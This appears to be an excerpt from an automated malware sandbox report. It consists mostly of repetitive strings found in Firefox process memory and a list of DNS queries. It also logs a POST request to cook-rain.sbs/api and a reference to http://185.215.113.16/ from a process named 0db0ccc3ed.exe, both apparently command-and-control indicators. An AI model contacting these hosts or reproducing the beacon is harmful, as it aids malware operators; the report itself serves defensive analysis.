Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updateIt looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEDeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updateIt looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEDeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updateIt looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEDeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section: equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section: equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section: equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: startup - adding clearkey CDM directory findUpdates() - updateTask succeeded for onPrefEMEGlobalEnabledChanged() id=onPrefEnabledChanged() - removing gmp directory findUpdates() - found update for onPrefEnabledChanged() - adding gmp directory FileUtils_openSafeFileOutputStreamhttps://smartblock.firefox.etp/facebook.svg@mozilla.org/network/file-output-stream;1resource://gre/modules/FileUtils.sys.mjsFileUtils_closeAtomicFileOutputStream@mozilla.org/addons/addon-manager-startup;1://track.adform.net/serving/scripts/trackpoint/://auth.9c9media.ca/auth/main.js://.imgur.io/js/vendor..bundle.jswebcompat-reporter@mozilla.org.xpi@mozilla.org/network/safe-file-output-stream;1FileUtils_closeSafeFileOutputStream://cdn.branch.io/branch-latest.min.js*://static.chartbeat.com/js/chartbeat.jspictureinpicture%40mozilla.org:1.0.0://static.chartbeat.com/js/chartbeat_video.js://.imgur.com/js/vendor..bundle.jsFileUtils_openAtomicFileOutputStream://c.amazon-adsystem.com/aax2/apstag.js://www.rva311.com/static/js/main..chunk.jswebcompat-reporter%40mozilla.org:1.5.1https://smartblock.firefox.etp/play.svg://pub.doubleverify.com/signals/pub.js://www.everestjs.net/static/st.v3.js*://static.criteo.net/js/ld/publishertag.jsresource://gre/modules/TelemetryStorage.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3020225670.00000177EDAFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3034234887.00000177EE620000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3020225670.00000177EDAFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000003.2906564082.00000177ED3FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1https://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/FileUtils.sys.mjsScheme should be either http or httpsisDownloadsImprovementsAlreadyMigratedhttp://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sCan't invoke URIFixup in the content processextractScheme/fixupChangedProtocol<https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededgecko.handlerService.defaultHandlersVersionhttp://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s{c6cf88b7-452e-47eb-bdc9-86e3561648ef}@mozilla.org/uriloader/local-handler-app;1https://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/NetUtil.sys.mjshandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/web-handler-app;1@mozilla.org/network/simple-stream-listener;1newChannel requires a single object argumenthttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/scriptableinputstream;1First argument should be an nsIInputStreamhttps://mail.yandex.ru/compose?mailto=%spdfjs.previousHandler.preferredActionpdfjs.previousHandler.alwaysAskBeforeHandling@mozilla.org/uriloader/handler-service;1@mozilla.org/intl/converter-input-stream;1VALIDATE_DONT_COLLAPSE_WHITESPACE@mozilla.org/uriloader/handler-service;1resource://gre/modules/Integration.sys.mjsMust have a source and a callback@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLNon-zero amount of bytes must be specifiedhttps://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: firefox.exe, 0000001B.00000002.3070463409.00000177F4763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2948268507.00000177DCA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3002087331.00000177ECE96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3008613619.00000177ED3E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 0db0ccc3ed.exe, 0000000D.00000003.3198134724.00000000016FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
